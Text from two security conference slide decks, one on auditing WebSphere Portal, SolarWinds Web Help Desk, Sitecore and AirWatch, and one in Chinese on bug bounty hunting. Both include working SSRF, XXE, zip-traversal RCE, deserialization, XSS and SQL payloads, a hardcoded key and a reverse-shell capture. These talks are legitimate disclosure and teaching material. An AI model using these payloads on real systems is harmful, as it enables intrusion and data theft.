xsi:noNamespaceSchemaLocation="http://www.ibm.com/xmlns/prod/sw/http/outbound/proxy-config/2.0">
<mapping contextpath="/proxy" url="*" name="proxy"/>
<policy url="*" name="bc">
<actions>
<method>GET</method>
<method>HEAD</method>
<method>POST</method>
<method>PUT</method>
<method>DELETE</method>
</actions>
Super SSRF
• http://reverse.test:30015/wps/PA_WCM_Authoring_UI/proxy/http/
example.com
<headers>
<header>x-lfn-url-callback</header>
<header>User-Agent</header>
<header>Accept*</header>
<header>Vary</header>
<header>Location</header>
<header>Content*</header>
<header>Authorization*</header>
<header>X-Method-Override</header>
<header>Set-Cookie</header>
<header>If-Modified-Since</header>
<header>If-None-Match</header>
<header>X-Server</header>
<header>X-Update-Nonce</header>
<header>X-Requested-With</header>
<header>com.ibm.lotus.openajax.virtualhost</header>
</headers>
• GET/HEAD/POST/PUT/
DELETE requests via
this SSRF.
• Full response returned.
• Some headers also
proxied.
Super SSRF
Variant Hunting #2
• Through a lot of digging, I discovered a really interesting way to hit the proxy
servlet.
• /wps/contenthandler/!ut/p/digest!8skKFbWr_TwcZcvoc9Dn3g/?uri=http://
www.redbooks.ibm.com/
• Using the same open redirect gadget, it was possible to achieve full read
SSRF via this endpoint.
• /wps/contenthandler/!ut/p/digest!8skKFbWr_TwcZcvoc9Dn3g/?uri=http://
www.redbooks.ibm.com/Redbooks.nsf/RedbookAbstracts/sg247798.html?
Logout&RedirectTo=http://example.com
Variant Hunting #2
Variant Hunting #3
• WebSphere/wp_profile/installedApps/dockerCell/
Quickr_Document_Picker.ear/qkr.docpicker.widgets.war/WEB-INF/web.xml
<servlet-mapping>
<servlet-name>AjaxProxy</servlet-name>
<url-pattern>/internal_proxy/*</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>picker_with_dojo</servlet-name>
<url-pattern>/public/picker-dojo-packaged.js</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>picker_without_dojo</servlet-name>
<url-pattern>/public/picker-packaged.js</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>portal_picker_without_dojo</servlet-name>
<url-pattern>/public/portal-picker-packaged.js</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>picker_css</servlet-name>
<url-pattern>/public/picker.css</url-pattern>
</servlet-mapping>
<servlet-mapping>
<servlet-name>ProxyServlet</servlet-name>
<url-pattern>/common_proxy/*</url-pattern>
</servlet-mapping>
Variant Hunting #3
• Requires open redirect chain to exploit:
• http://127.0.0.1:30015/docpicker/common_proxy/http/
www.redbooks.ibm.com
• Does not require any redirect chains, proxy works without redirect gadget:
• http://127.0.0.1:30015/docpicker/internal_proxy/http/example.com
• Full read SSRF (pre-auth) limited to GET requests.
Variant Hunting #3
Chaining the vulnerability through IBM KC
• IBM Knowledge Centre is shipped in the Admin Console of IBM Websphere
on port 9043.
• Through our SSRF we can access this port and hence this functionality.
• The web.xml file had this snippet:
<filter>
<filter-name>JsonpCallbackFilter</filter-name>
<filter-class>com.ibm.kc.server.filter.JsonpCallbackFilter</filter-class>
</filter>
<filter-mapping>
<filter-name>JsonpCallbackFilter</filter-name>
<url-pattern>/api/webfeed</url-pattern>
</filter-mapping>
Chaining the vulnerability through IBM KC
• So naturally, we download the kc.war file:
• › docker cp 7b10e70c3328:/opt/IBM/WebSphere/wp_profile/config/cells/
dockerCell/applications/isclite.ear/deployments/isclite/kc.war .
• Load it up into our decompiler to checkout what the webfeed API looks like.
Bingo?!
So… we try it on a bug bounty target
• Fail
Has it been patched? Please don’t tell me it’s been
patched.
• More recent Docker Image with only WebSphere app server (not portal):
https://hub.docker.com/r/ibmcom/websphere-traditional/
curl https://127.0.0.1:9043/ibm/kc/api/webfeed -kv
...
< HTTP/1.1 403 Forbidden
< X-Powered-By: Servlet/3.1
< Content-Type: text/html;charset=UTF-8
< Date: Sat, 24 Jul 2021 20:53:49 GMT
< Content-Language: en-US
< Set-Cookie: JSESSIONID=0000NMV-PrNHah8K-co6iS_UXPu:-1; Path=/ibm; HttpOnly
< Transfer-Encoding: chunked
< Connection: Close
< Expires: Thu, 01 Dec 1994 16:00:00 GMT
< Cache-Control: no-cache="set-cookie, set-cookie2"
You are not allowed to execute this request.
Fail: it’s been patched
• Lesson learnt: make sure you have the latest copy of the code possible
before testing for vulnerabilities.
Another attempt at XXE
• Decoded:
• Base64
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48IURPQ1RZU
EUgZm9vIFs8IUVOVElUWSAlIHh4ZSBTWVNURU0gImh0dHA6Ly93ZWItYXR
0YWNrZXIuY29tL21hbGljaW91cy5kdGQiPiAleHhlO10+PHU+PGI+aHR0cDov
L2V4YW1wbGUuY29tPC9iPjxwPjxuPnA8L24+PHY+WjEyXzNQSDQyMzAySjg
ySzUwQUNUTElKSkowMDA2PC92PjxMM0E=
<?xml version="1.0" encoding="UTF-8"?><!DOCTYPE foo [<!ENTITY % xxe SYSTEM "http://
web-attacker.com/malicious.dtd"> %xxe;]><u><b>http://example.com</b><p><n>p</
n><v>Z12_3PH42302J82K50ACTLIJJJ0006</v><L3A
Another attempt at XXE
• http://localhost:30015/wps/WsrpProxyPortlet/ResourceProxy/
PD94bWwgdmVyc2lvbj0iMS4wIiBlbmNvZGluZz0iVVRGLTgiPz48IURPQ1RZU
EUgZm9vIFs8IUVOVElUWSAlIHh4ZSBTWVNURU0gImh0dHA6Ly93ZWItYXR
0YWNrZXIuY29tL21hbGljaW91cy5kdGQiPiAleHhlO10+PHU+PGI+aHR0cDov
L2V4YW1wbGUuY29tPC9iPjxwPjxuPnA8L24+PHY+WjEyXzNQSDQyMzAySjg
ySzUwQUNUTElKSkowMDA2PC92PjxMM0E=-PHA-PG4-
d3NycC1zZWN1cmVVUkw8L24-PHY-ZmFsc2U8L3Y-
PC9wPjxwPjxuPndzcnAtdXJsVHlwZTwvbj48dj5yZXNvdXJjZTwvdj48L3A-
PC91Pg!!/kgIIi33sbbAoC0uh4AvN0LrtJLw!/corp/L001/consumer/Common/
calendar.html?datetime=1502821800000&id=0
Fail: Another attempt at XXE
Fail: Another attempt at XXE
• /com/ibm/wps/resolver/xml/IdentityTransformerImpl.java
com.ibm.wps.resolver.servlet.exceptions.SAXTransformerException:
com.ibm.wps.resolver.servlet.exceptions.EntityResolverSAXException: EJCBC0009E: The entity [[http://
oxpdae1jbgmv305utpig7nlogfmda2.burpcollaborator.net:80, http://
oxpdae1jbgmv305utpig7nlogfmda2.burpcollaborator.net:80]] could not be be found.
at com.ibm.wps.resolver.xml.IdentityTransformerImpl.transform(IdentityTransformerImpl.java:993)
at com.ibm.wps.resolver.xml.DisposableTransformerImpl.transform(DisposableTransformerImpl.java:316)
static {
EMPTY_CONTENT_HANDLER = (ContentHandler)EmptySAXHandler.SINGLETON;
EMPTY_DECL_HANDLER = EmptySAXHandler.SINGLETON;
EMPTY_DTD_HANDLER = (DTDHandler)EmptySAXHandler.SINGLETON;
EMPTY_LEXICAL_HANDLER = EmptySAXHandler.SINGLETON;
LOG_CLASS = IdentityTransformerImpl.class.getName();
LOG_LEVEL = Level.FINER;
LOGGER = Logger.getLogger(IdentityTransformerImpl.LOG_CLASS);
xmlFactory = (XMLFactory)XMLFactoryImpl.SINGLETON;
}
😭
Post Auth RCE via Directory Traversal
• There is a functionality to upload script applications to WebSphere Portal
once you are authenticated.
• This allows you to upload a Zip file which should contain HTML/CSS/JS.
• The extraction of this Zip file is vulnerable to directory traversal. This leads to
arbitrary file upload anywhere on the system.
• Login to WebSphere Portal → Site Manager → Add page components and
applications → Applications → Script Application
Post Auth RCE via Directory Traversal
• Click Actions → Import
Post Auth RCE via Directory Traversal
• Prepare your Zip exploit using Evilarc: https://github.com/ptoomey3/evilarc
• Create a file lo-1.html with the contents, this will lead to RCE on reboot:
NAME=Network /bin/id
ONBOOT=yes
DEVICE=eth0
❯ python2 evilarc.py lo-1.html -o unix -f index6.zip -p etc/sysconfig/network-
scripts/ -d 20
Creating index6.zip
containing ../../../../../../../../../../../../../../../../../../../../etc/
sysconfig/network-scripts/lo-1.html
Post Auth RCE via Directory Traversal
• Why does this work? https://vulmon.com/exploitdetails?
qidtp=maillist_fulldisclosure&qid=e026a0c5f83df4fd532442e1324ffa4f
• If, for whatever reason, a user is able to write an ifcf-<whatever> script to /etc/sysconfig/
network-scripts or it can adjust an existing one, then your system is pwned.
• Network scripts, ifcg-eth0 for example are used for network connections. The look
exactly like .INI files. However, they are ~sourced~ on Linux by Network Manager
(dispatcher.d).
• In my case, the NAME= attributed in these network scripts is not handled correctly. If you
have white/blank space in the name the system tries to execute the part after the white/
blank space. Which means; everything after the first blank space is executed as root.
References
• https://secur.codes/werdlists/webapp-paths/websphere-path-names.txt
• https://websphere4u.files.wordpress.com/2012/05/websphere-portal-7-0-
e28093-changing-the-context-root.pdf
• https://docs.google.com/document/d/
1mn85gaYwJZjgpOeIFTLfDUkmGzV4fLUWi8Zx_64ECVo/edit
Exploit Writeup
https://bit.ly/3989u9D
Hacking Solarwinds Web Help
Desk
What is Solarwinds Web Help Desk?
• Basically a central ticket management system for your enterprise.
• Connects with Solarwinds Orion.
• Used by medium-large enterprises, schools, government.
• Around ~2k instances exposed to the external internet.
Remove the stigma from huge codebases
• SolarWinds have a help desk product that is used by large enterprises.
• The code base is huge. There is Spring, WebObjects, traditional servlets and
more.
• Initially this can be really daunting to take a look at due to the scope, however
with some intelligent analysis of sources and sinks, it starts to get easier.
• My number one advice when it comes to auditing complex software is trying
to map out as much attack surface in the form of sources and sinks as
possible. Then do your auditing after you understand this.
Development Hardcoded Credentials
Production Hardcoded Credentials
What does this let us access?
• These credentials let us access a big part of the Spring web app embedded
in this software.
• The most interesting controller for this was found at /helpdesk/WEB-INF/lib/
com/solarwinds/whd/report/asset/AssetReportController.java
• Surprisingly, Solarwinds were exposing endpoints that let you run arbitrary
Hibernate queries.
• Hibernate talks directly to the database based off models explicitly defined in
Java.
Hibernate Query Routes
Hibernate Query Routes
Putting it all together
Putting it all together
What’s not shown in this presentation
• The hours spent mapping out sources and sinks.
• Understanding the authentication flow for some Spring routes and how our
hardcoded credentials enable this vulnerability.
• Numerous failed attempts at exploiting certain vulnerability classes in other
areas of the code base.
• The vast amount of code in this codebase causing auditing fatigue.
• Shouting “F*** YEAH” after discovering this pre-auth critical bug.
Impact
• An unauthenticated user can run arbitrary SQL against Solarwinds Web Help
Desk’s internal database.
• This allows attackers to obtain the username and password hash from the
database.
• This also allows attackers to insert arbitrary data into the database.
• An alternate vector to gaining entry could be replacing the password hash
with one you have generated yourself, or adding a new user.
• Limited to Hibernate SQL queries.
Exploit Writeup
https://bit.ly/3va9ApJ
Hacking Sitecore Experience
Platform (CVE-2021-42237)
What is Sitecore’s Experience Platform?
• Sitecore’s experience platform is a comprehensive CMS used by large
enterprises, government, banks and fortune 500 companies.
• You can build a lot of “digital experiences” through Sitecore’s experience
platform.
• There’s around ~10k instances of this software running on the internet,
exposed externally.
• A handful of bug bounty programs were affected by discovering bugs in this
software.
A note on giving up
• Throughout my source code auditing journey of Sitecore’s experience
platform, I almost gave up like five times.
• It was so tempting to walk away and not spend more time auditing this
software.
• You have to be really motivated to find software vulnerabilities through source
code auditing, when the code base is very large and sometimes complex.
• My best advice is taking a lot of breaks. Every time you feel fatigued, take
another break and come back to the source code when you are feeling better.
Grabbing Sitecore Source Code
• Initially, I obtained Sitecore’s source code by searching for Github repo’s
where people had posted their Sitecore web root to a Github repo.
• I looked for Github repos that were recent and was able to successfully
obtain a copy of Sitecore source code this way (DLLs and IIS web root).
• I decompiled these DLLs and opened up a
code editor with two folders opened,
the web root and the decompiled source code.
• This was pivotal to being able to map out the attack surface from items
exposed in the web root, back to the C# source code.
Mapping out the attack surface
• Sitecore has a complex attack surface. A lot of the attack surface is defined
in .config files located in App_Config.
• However, Sitecore also exposes a number of aspx / ashx files in the web root
• Inside the web.config file, we find the following line:
<site name="shell" virtualFolder="/sitecore/shell" physicalFolder="/sitecore/shell"
rootPath="/sitecore/content" startItem="/home" language="en" database="core"
domain="sitecore" loginPage="/sitecore/login" content="master" contentStartItem="/Home"
enableWorkflow="true" enableTracking="false" analyticsDefinitions="content"
xmlControlPage="/sitecore/shell/default.aspx" browserTitle="Sitecore"
htmlCacheSize="10MB" registryCacheSize="15MB" viewStateCacheSize="1MB"
xslCacheSize="25MB" disableBrowserCaching="true" />
Mapping out the attack surface
• As we know that the sitecore/shell directory in the deployment is
exposed via IIS (web.config), we can start auditing the files
within this directory.
• The journey in mapping out the attack surface is not over yet, we
still are not sure about what is pre-authentication vs. what is
post-authentication. This becomes clearer as we iterate through
each aspx/ashx file and read the source code to see whether or
not there are authentication requirements.
Discovering the vulnerable endpoint
• When we investigated some of the files inside the sitecore/shell directory, we
came across /sitecore/shell/ClientBin/Reporting/Report.ashx which had the
following contents:
• Since we’ve loaded up the source code in our IDE, we simply check out the
source code of Sitecore.sitecore.shell.ClientBin.Reporting.Report located at
Sitecore.Xdb.Client/Sitecore/sitecore/shell/ClientBin/Reporting/Report.cs.
<%@ WebHandler Language="C#" CodeBehind="Report.ashx.cs"
Class="Sitecore.sitecore.shell.ClientBin.Reporting.Report, Sitecore.Xdb.Client" %>
Report.cs
public void ProcessRequest(HttpContext context)
{
Assert.ArgumentNotNull(context, "context");
object obj = null;
try
{
obj = ProcessReport(context);
}
catch (Exception ex)
{
Log.Error("Failure running the requested report.", ex, this);
obj = ex;
}
context.Response.ContentType = "application/xml";
ReportDataSerializer.SerializeResponse(context.Response.OutputStream, obj);
}
private DataTable ProcessReport(HttpContext context)
{
string source = null;
ReportDataQuery query = ReportDataSerializer.DeserializeQuery(context.Request.InputStream, out source);
DataTable dataTable = (Factory.CreateObject("reporting/dataProvider", assert: true) as ReportDataProviderBase).GetData(source, query, CachingPolicy.WithCacheDisabled).GetDataTable();
if (string.IsNullOrWhiteSpace(dataTable.TableName))
{
dataTable.TableName = "report";
}
return dataTable;
}
}
}
ReportDataSerializer.cs
private static void DeserializeParameters(XmlReader reader, Dictionary<string, object> parameters)
{
reader.ReadStartElement("parameters");
bool flag = !reader.EOF;
while (flag)
{
if (reader.NodeType == XmlNodeType.Element && reader.Name == "parameter")
{
reader.MoveToContent();
string attribute = reader.GetAttribute("name");
if (attribute != null)
{
for (bool flag2 = reader.Read(); flag2 && reader.NodeType != XmlNodeType.Element; flag2 = reader.Read())
{
}
object value = new NetDataContractSerializer().ReadObject(reader, verifyObjectName: true);
parameters.Add(attribute, value);
}
}
flag = reader.Read();
}
}
Crafting a payload
<?xml version="1.0" ?>
<a>
<query></query>
<source>foo</source>
<parameters>
<parameter name="">
SERIALIZED XML OBJECT HERE
</parameter>
</parameters>
</a>
./ysoserial.exe -f NetDataContractSerializer -g TypeConfuseDelegate -c "nslookup
yuwewp90p365hx64wh7rumz8kzqxem.burpcollaborator.net" -o base64 -t
Final RCE Payload
POST /sitecore/shell/ClientBin/Reporting/Report.ashx HTTP/1.1
Host: sitecore.local
Accept-Encoding: gzip, deflate
Accept: */*
Accept-Language: en
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like
Gecko) Chrome/92.0.4515.131 Safari/537.36
Connection: close
Content-Type: text/xml
Content-Length: 5919
<?xml version="1.0" ?>
<a>
<query></query>
<source>foo</source>
<parameters>
<parameter name=“">
SERIALIZED XML PAYLOAD HERE
</parameter>
</parameters>
</a>
Exploit Writeup
https://bit.ly/3vGfUo5
VMWare Workspace One UEM
(AirWatch)
What is Workspace One UEM?
• Workspace One UEM is used for mobility management (MDM) by enterprises.
• Mobile device management is the administration of mobile devices, such as
smartphones, tablet computers and laptops. MDM is usually implemented
with the use of a third-party product that has management features for
particular vendors of mobile devices.
• VMWare acquired AirWatch, and then renamed AirWatch into Workspace One
UEM.
• Almost every large enterprise has some sort of MDM solution, and VMWare
Workspace One UEM is a really popular one.
Mapping out the attack surface
• Installing Workspace One UEM was almost
harder than discovering the vulnerability lol.
• These folders inside the websites directory are
all deployed under different virtual paths i.e. /
Catalog/ and /AirWatch/.
• Presence of some ASHX files which is what we
focused on when initially looking at the attack
surface.
• Some ASHX files were not protected by auth.
BlobHandler.ashx
• This file existed in multiple virtual paths, however, the ones we found to be
vulnerable were located in /AirWatch/ and /Catalog/.
• This endpoint was accessible pre-authentication and no authentication logic
was found within the code or web.config files.
Logic
• This snippet of code is proxying a request, as long as we provide an
“encrypted” URL.
• If an encrypted URL is provided, a HTTP request will be made to this
encrypted URL (arbitrary method, body, headers) and the full response will
be proxied back to the user.
• This functionality was not in use by literally anything else in the code base, a
big question is why it was implemented in the first place.
• Essentially a full read SSRF, with full control over the request, if we work out
this “encryption” algorithm.
Encryption Function
// AirWatch.Security.Cryptography.AirWatchDataEncryptor
using AirWatch.Security.Cryptography.KeyManagement;
public string Encrypt(string stringToEncrypt)
{
MasterKey masterKey = masterKeyResolver.GetMasterKey();
return GetEncryptorForKey(masterKey).Encrypt(stringToEncrypt);
}
Getting the Master Key
// AirWatch.Security.Cryptography.KeyManagement.MasterKeyResolver
using AirWatch.Logging;
public MasterKey GetMasterKey(string keyVersion)
{
ILogger current = LogAspect.Current;
if (string.IsNullOrEmpty(keyVersion) || keyVersion.Equals("kv0"))
{
current.Debug("keyVersion is not defined or equals the default key version.");
return DefaultMasterKey;
}
MasterKey masterKeyFromCache = GetMasterKeyFromCache(keyVersion);
if (masterKeyFromCache != null)
{
return masterKeyFromCache;
}
MasterKey masterKeyFromConfigFile = GetMasterKeyFromConfigFile();
if (masterKeyFromConfigFile != null && keyVersion.Equals(masterKeyFromConfigFile.KeyVersion))
{
StoreMasterKeyToCache(masterKeyFromConfigFile);
return masterKeyFromConfigFile;
}
MasterKey masterKeyFromDb = GetMasterKeyFromDb(keyVersion);
if (masterKeyFromDb == null || !masterKeyFromDb.IsKeyValid)
{
return DefaultMasterKey;
}
StoreMasterKeyToCache(masterKeyFromDb);
return masterKeyFromDb;
}
Default Master Key
// AirWatch.Security.Cryptography.KeyManagement.MasterKeyResolver
private static readonly MasterKey DefaultMasterKey = new MasterKey();
Hardcoded master key
// AirWatch.Security.Cryptography.KeyManagement.MasterKey
using System.Runtime.CompilerServices;
public MasterKey()
{
KeyVersion = "kv0";
Passphrase = "5c5e2c554f4f644b54383127495b356d7b36714e4b214a6967492657290123a0";
SaltData = "s@1tValue";
IsKeyValid = true;
}
Hooking In
• In order to create the PoC, we hooked into the encryption functions defined
in the DLL files.
• By leveraging the already existing functions for encryption, we were able to
create a CLI application that was capable of “encrypting” arbitrary strings.
• This allowed us to specify arbitrary URLs to be encrypted, which could then
be used when requesting BlobHandler.ashx.
• This successfully led to full-read pre-authentication SSRF.
Final Exploit
• C:\Users\Administrator\Downloads\EncryptAirWatchSSRF>python
airshock.py --url http://airwatch --ssrf http://example.com --request
• [*] Generated SSRF payload:
• http://airwatch/Catalog/BlobHandler.ashx?
Url=YQB3AGUAdgAyADoAawB2ADAAOgB4AGwAawBiAEoAbwB5AGMAV
wB0AFEAMwB6ADMAbABLADoARQBKAGYAYgBHAE4ATgBDADUARQBBA
G0AZQBZAE4AUwBiAFoAVgBZAHYAZwBEAHYAdQBKAFgATQArAFUATQB
kAGcAZAByAGMAMgByAEUAQwByAGIAcgBmAFQAVgB3AD0A
Exploit Writeup
https://bit.ly/3rOH4YO
assetnote.io
@assetnote | pdf |
Bug Bounty 獎金獵人甘苦談
那些年我回報過的漏洞
[email protected]
#Orange Tsai
#CHROOT #DEVCORE
#電競選手 #CTFer
#Web
#汪
My RCE Checklists
√ Facebook
√ Apple
√ Yahoo
√ Uber
? Google
什麼是 Bug Bounty Program ?
• 在官方所提供的規則及範圍下, 讓獨立的研究人員可自由尋找系
統漏洞, 並提供對等的獎勵
小禮物
獎金
名譽(Hall of Fame)
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
How do you turn
this on ?
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
更多的駭客!
更多的思路!
更多的漏洞!
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
公司對於安全的重視!
吸引優秀的資安高手!
Bug Bounty 好處?
防止漏洞流入地下市場
架構大難顧及網路邊界
企業對外形象宣傳
改善社會不良風氣
告訴駭客們有簡單的
方法可以做好事!
有哪些企業已經有了 Bug Bounty ?
1995
2010
2011
2013
2013
2016
2014
2015
The Internet Bug Bounty
為了維護網路世界的和平
獎勵那些找出可影響整個網路世界弱點的英雄們!
Bug Bounty 成效
$6 Million
•
750+ bugs in 2015
•
300+ hackers in 2015
$4.2 Million
•
526 bugs in 2015
•
210 hackers in 2015
$1.6 Million
•
2500+ bugs since 2013
•
1800+ hackers since 2013
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
獎金?
名譽?
練功?
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
雖然今非昔比
告訴自己一定會有洞
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
常見弱點的理解
SQL Injection
Cross-Site Scripting
Cross-site Request Forgery
XML External Entity
Local File Inclusion
CSV Macro Injection
XSLT Injection
SVG/XML XSS
RPO Gadget (NOT ROP)
Subdomain Takeover
參加 Bug Bounty 前的準備
為了甚麼參加
對於尋找漏洞的心理準備
常見弱點的理解
資訊的蒐集方法
資訊的蒐集方法
• DNS 與 網路邊界
子域名? 相鄰域名? 內部域名?
Whois? R-Whois?
併購服務
Google 的六個月規則
• Port Scanning
Facebook Jenkins RCE by Dewhurst Security
Pornhub Memcached Unauthenticated Access by @ZephrFish
uberinternal.com ?
twttr.com ?
etonreve.com ?
資訊的蒐集方法 - 小案例
• Yahoo! Yapache
修改版本的 Apache Web Server
在當時也是創舉
資訊的蒐集方法 - 小案例
參加 Bug Bounty 注意事項
•
注意規則及允許範圍
•
不符合規定的漏洞
•
撰寫報告的禮節
注意規則及允許範圍
• 規則所允許範圍
範圍外就無法嘗試嗎?
• 規則所允許限度
Instagram's Million Dollar Bug by Wesley (Awesome :P)
參加 Bug Bounty 注意事項
•
注意規則及允許範圍
•
不符合規定的漏洞
•
撰寫報告的禮節
不符合規定的漏洞
• 別踏入榮譽感的誤區
• 常見不符合規定例子:
SELF XSS (需要過多使用者互動)
Information Leakage
Cookie without Secure Flag or HttpOnly
Logout CSRF
Content Injection
2014 Google VRP 回報狀況
參加 Bug Bounty 注意事項
•
注意規則及允許範圍
•
不符合規定的漏洞
•
撰寫報告的禮節
撰寫報告的禮節
• 明確的標題及描述
• 附上驗證代碼及截圖
• 禮貌及尊重最後決定
尋找漏洞的思路
尋找漏洞的思路
• 有做功課的 Bonus
• 天下武功唯快不破
• 認命做苦工活QQ
• 平行權限與邏輯問題
• 少見姿勢與神思路
有做功課的 Bonus
Facebook Onavo Dom-Based XSS
• Mar 16, 2014 Onavo Reflected XSS by Mazin Ahmed
• May 01, 2014 Facebook fixed it
• One day, Facebook revised it... Buggy again!
http://cf.onavo.com/iphone/mc/deactivate.html
?url=javascript:alert(document.domain)
&seed=1394953248
有做功課的 Bonus
Facebook Onavo Dom-Based XSS
function mc() {
if ((UACheck == "0") ||
(navigator.userAgent.match(/iPhone/i)) ||
(navigator.userAgent.match(/iPad/i)) ||
(navigator.userAgent.match(/iPod/i))) {
document.location.href = MC;
setTimeout(postmc, 3000);
} else {
alert('Not an iPhone/iPad...');
...
var seed = getQueryVariable("seed");
var url = getQueryVariable("url");
var UACheck = getQueryVariable("uacheck");
var MC = getQueryVariable("mc");
有做功課的 Bonus
Facebook Onavo Dom-Based XSS
http://cf.onavo.com/iphone/mc/deactivate.html
?url=http://example/
&uacheck=0
&mc=javascript:alert(document.domain)
有做功課的 Bonus
Facebook Onavo Dom-Based XSS
http://cf.onavo.com/iphone/mc/deactivate.html
?url=http://example/
&uacheck=0
&mc=javascript:alert(document.domain)
有做功課的 Bonus
eBay SQL Injection
• 列舉 eBay.com 時某台主機反查到
eBayc3.com
• 根據 WHOIS 確認為 eBay Inc. 所擁有無誤
• 列舉 eBayc3.com
images.ebayc3.com
有做功課的 Bonus
eBay SQL Injection
有做功課的 Bonus
eBay SQL Injection
有做功課的 Bonus
eBay SQL Injection
• 連貓都會的 SQL Injection
嘗試是否可以 RCE?
• 嘗試讀檔?
CREATE TABLE test (src TEXT);
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE `test`;
有做功課的 Bonus
eBay SQL Injection
• 連貓都會的 SQL Injection
嘗試是否可以 RCE?
• 嘗試讀檔?
CREATE TABLE test (src TEXT);
LOAD DATA LOCAL INFILE '/etc/passwd' INTO TABLE `test`;
尋找漏洞的思路
• 有做功課的 Bonus
• 天下武功唯快不破
• 認命做苦工活QQ
• 平行權限與邏輯問題
• 少見姿勢與神思路
天下武功唯快不破
• 指紋辨識, 收集整理
Web Application?
Framework?
• 平時做好筆記 1-Day 出來搶首殺
WordPress CVE-2016-4567 flashmediaelement.swf XSS
ImageTragick Remote Code Execution
天下武功唯快不破
Uber Reflected XSS
天下武功唯快不破
Uber Reflected XSS
iOS Developer - "We'll be back soon"
2013
07/18
天下武功唯快不破
developer.apple.com 被駭案例
iOS Developer - "We'll be back soon"
Apple confirms its developer website was hacked
2013
07/18
2013
07/22
天下武功唯快不破
developer.apple.com 被駭案例
iOS Developer - "We'll be back soon"
Apple confirms its developer website was hacked
Ibrahim Balic: I hacked Apple's developer website and have over 100K
developers' user details
2013
07/18
2013
07/22
2013
07/22
天下武功唯快不破
developer.apple.com 被駭案例
iOS Developer - "We'll be back soon"
Apple confirms its developer website was hacked
Ibrahim Balic: I hacked Apple's developer website and have over 100K
developers' user details
Apple Hall of Fame - "We would like to acknowledge 7dscan.com, and SCANV
of knownsec.com for reporting this issue"
2013
07/18
2013
07/22
2013
07/22
2013
07/??
天下武功唯快不破
developer.apple.com 被駭案例
天下武功唯快不破
developer.apple.com 被駭案例
天下武功唯快不破
developer.apple.com 被駭案例
• 被 Yahoo Bug Bounty 事件燒到, 感覺很好玩
• 依然是 Google hacking
site:yahoo.com ext:action
b.login.yahoo.com
看起來 s2-016 work 但看起來有 WAF
三個月的空窗期 !
第一次 OGNL 就上手 !
天下武功唯快不破
Yahoo Login Site RCE
• 繞過 WAF
如何判斷關鍵字?
redirect:${12*21}
# /login/252
redirect:${#c=1}
# /login/
redirect:${#c=1,1}
# /login/1
redirect:${#c=1,#d=new chra[10]}
# /login/
redirect:${#c=1,#d=new chra[10],1}
# /login/
天下武功唯快不破
Yahoo Login Site RCE
orange@z:~$ nc –vvl 12345
Connection from 209.73.163.226 port 12345 [tcp/italk] accepted
Linux ac4-laptui-006.adx.ac4.yahoo.com 2.6.18-308.8.2.el5.YAHOO.20120614 #1 SMP Thu
Jun 14 13:27:27 PDT 2012 x86_64 x86_64 x86_64 GNU/Linux
orange@z:~$
天下武功唯快不破
Yahoo Login Site RCE
天下武功唯快不破
Yahoo Login Site RCE
orange@z:~$ nc –vvl 12345
Connection from 209.73.163.226 port 12345 [tcp/italk] accepted
Linux ac4-laptui-006.adx.ac4.yahoo.com 2.6.18-308.8.2.el5.YAHOO.20120614 #1 SMP Thu
Jun 14 13:27:27 PDT 2012 x86_64 x86_64 x86_64 GNU/Linux
orange@z:~$
尋找漏洞的思路
• 有做功課的 Bonus
• 天下武功唯快不破
• 認命做苦工活QQ
• 平行權限與邏輯問題
• 少見姿勢與神思路
• 用 Google Hacking 黑 Google
site:www.google.com -adwords -finance...
www.google.com/trends/correlate/js/correlate.js
goog$exportSymbol("showEdit", function(src_url) {
...
var html = (new goog$html$SafeHtml).
initSecurityPrivateDoNotAccessOrElse_('
<iframe width=400 height=420 marginheight=0 marginwidth=0
frameborder=0 src="' + src_url + '">Loading...</iframe>');
...
}
認命做苦工活QQ
www.google.com XSS
• 如何控制?
id:PaHT-seSlg9
200 OK
id:not_exists
500 Error
id:PaHT-seSlg9:foobar
200 OK
www.google.com/trends/correlate/search
?e=id:PaHT-seSlg9
&t=weekly
<a href="#" onclick="
showEdit('/trends/correlate/edit
?e=id:PaHTseSlg9&t=weekly');">
認命做苦工活QQ
www.google.com XSS
• 看起來有過濾? 但別忘了它在 JavaScript 內
HTML Entities?
16 進位?
8 進位?
www.google.com/trends/correlate/search
?e=id:PaHT-seSlg9:'"><
&t=weekly
<a href="#" onclick="
showEdit('/trends/correlate/edit
?e=id:PaHTseSlg9:'"><&t=weekly');">
認命做苦工活QQ
www.google.com XSS
...?
www.google.com/trends/correlate/search
?e=id:8N9IFMOltyp:\x22onload\x3d\x22alert(document.domain)//
&t=weekly
<a href="#" onclick="
showEdit('/trends/correlate/edit
?e=id:PaHTseSlg9:\x22onload\x3d\x22alert(document.domain)//
&t=weekly');">
認命做苦工活QQ
www.google.com XSS
認命做苦工活QQ
www.google.com XSS
• 看起來是個 Dom-Based 的 SELF-XSS 需要使用者互動 ?
收的機率一半一半, 需要找到更合理的情境說服 Google
• 繼續往下挖掘!
跟 Click Jacking 的組合技?
將要點擊的地方製成 IFRMAE 放在滑鼠下隨著滑鼠移動
認命做苦工活QQ
www.google.com XSS
認命做苦工活QQ
www.google.com XSS
• https://youtu.be/ESj7PyQ-nv0
認命做苦工活QQ
www.google.com XSS
• https://youtu.be/ESj7PyQ-nv0
認命做苦工活QQ
Facebook Remote Code Execution
• 反向 facebook.com 的 Whois 結果
thefacebook.com
tfbnw.net
fb.com
• 列舉 vpn.tfbnw.net 網段
vpn.tfbnw.net
files.fb.com
